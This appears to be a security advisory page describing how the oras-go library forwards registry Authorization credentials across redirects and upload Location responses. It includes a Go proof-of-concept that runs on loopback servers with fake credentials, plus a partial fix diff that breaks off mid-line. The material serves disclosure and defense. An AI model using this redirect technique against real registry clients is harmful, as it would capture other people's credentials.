medium

GHSA-vh4v-2xq2-g5cg

Go · oras.land/oras-go/v2

Summary

ORAS Go forwards registry credentials across registry redirects

Severity
medium
CWE
CWE-200, CWE-522
Published
2026-07-01
Updated
2026-07-01

Advisory details

ORAS Go forwards registry credentials across registry redirects

Reporter / public credit: JUNYI LIU

Summary

ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.

There are two related paths:

  1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin Authorization header to the redirect target.
  2. A blob upload POST authenticates to the origin registry, then the origin returns an upload Location on another host or port. The follow-up PUT can carry the origin Authorization header to the Location target.

The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.

Impact

A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.

This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.

Affected Versions Tested

Security Invariant

Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.

Local Reproduction Overview

All testing used loopback servers and fake credentials only.

Manifest redirect flow:

  1. The client requests a manifest from the origin registry.
  2. The origin returns 401 with a Basic challenge.
  3. The client retries the origin request with the origin credential.
  4. The origin returns 307 to another port on the same hostname.
  5. The redirect sink receives the origin Authorization header.

ORAS CLI stored-credential flow:

  1. A temporary registry config contains a fake Basic credential for the origin registry only.
  2. Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
  1. The origin authenticates the request and redirects it to another port.
  2. The redirect sink receives the origin Authorization header.

Blob upload Location flow:

  1. The client starts a blob upload with POST to the origin registry.
  2. The origin challenges with Basic and then accepts the authenticated POST.
  3. The origin returns an upload Location URL on another port.
  4. In affected versions, the follow-up PUT to the Location target carries the origin Authorization header.

Expected Result

Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.

Observed Result

In affected versions, redirect or Location sinks received:

Authorization: Basic <base64 origin_user:origin_pass>

Standalone Reproducer

package main

import (
	"context"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"sync"

	"github.com/opencontainers/go-digest"
	"github.com/oras-project/oras-go/v3/registry/remote"
	"github.com/oras-project/oras-go/v3/registry/remote/auth"
	"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)

type hit struct {
	Method string `json:"method"`
	Path   string `json:"path"`
	Host   string `json:"host"`
	Auth   string `json:"auth,omitempty"`
}

func main() {
	const username = "origin_user"
	const password = "origin_pass"
	const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
	var mu sync.Mutex
	var originHits, sinkHits []hit

	record := func(dst *[]hit, r *http.Request) {
		mu.Lock()
		defer mu.Unlock()
		*dst = append(*dst, hit{
			Method: r.Method,
			Path:   r.URL.RequestURI(),
			Host:   r.Host,
			Auth:   r.Header.Get("Authorization"),
		})
	}

	manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
	manifestDigest := digest.FromBytes(manifest).String()

	sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&sinkHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
		w.Header().Set("Docker-Content-Digest", manifestDigest)
		w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
		_, _ = w.Write(manifest)
	}))
	defer sink.Close()

	origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&originHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
	}))
	defer origin.Close()

	repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
	if err != nil {
		panic(err)
	}
	repo.PlainHTTP = true
	repo.Client = &auth.Client{
		Client: origin.Client(),
		CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
			Username: username,
			Password: password,
		}),
	}

	_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")

	leaked := false
	for _, h := range sinkHits {
		if h.Auth == expectedAuth {
			leaked = true
		}
	}

	result := map[string]any{
		"origin_hits": originHits,
		"sink_hits":   sinkHits,
		"error":       "",
		"leaked":      leaked,
	}
	if err != nil {
		result["error"] = err.Error()
	}
	encoded, _ := json.MarshalIndent(result, "", "  ")
	fmt.Println(string(encoded))

	if leaked {
		fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
		return
	}
	fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
	os.Exit(1)
}

Candidate Fix

The candidate fix does two things:

  1. In the auth client, wrap redirect handling so Authorization is removed when a redirect changes HTTP origin, while preserving any caller-provided CheckRedirect callback.
  2. In blob upload completion, only reuse the previous POST Authorization header when the upload Location remains on the same HTTP origin.

The patch also adds regression coverage for both redirect cases:

diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {
 	for key, values := range c.Header {
 		req.Header[key] = append(req.Header[key], values...)
 	}
-	return c.client().Do(req)
+	client := c.client()
+	clientCopy := *client
+	checkRedirect := client.CheckRedirect
+	clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+		if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+			redirectReq.Header.Del(headerAuthorization)
+		}
+		if checkRedirect != n

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.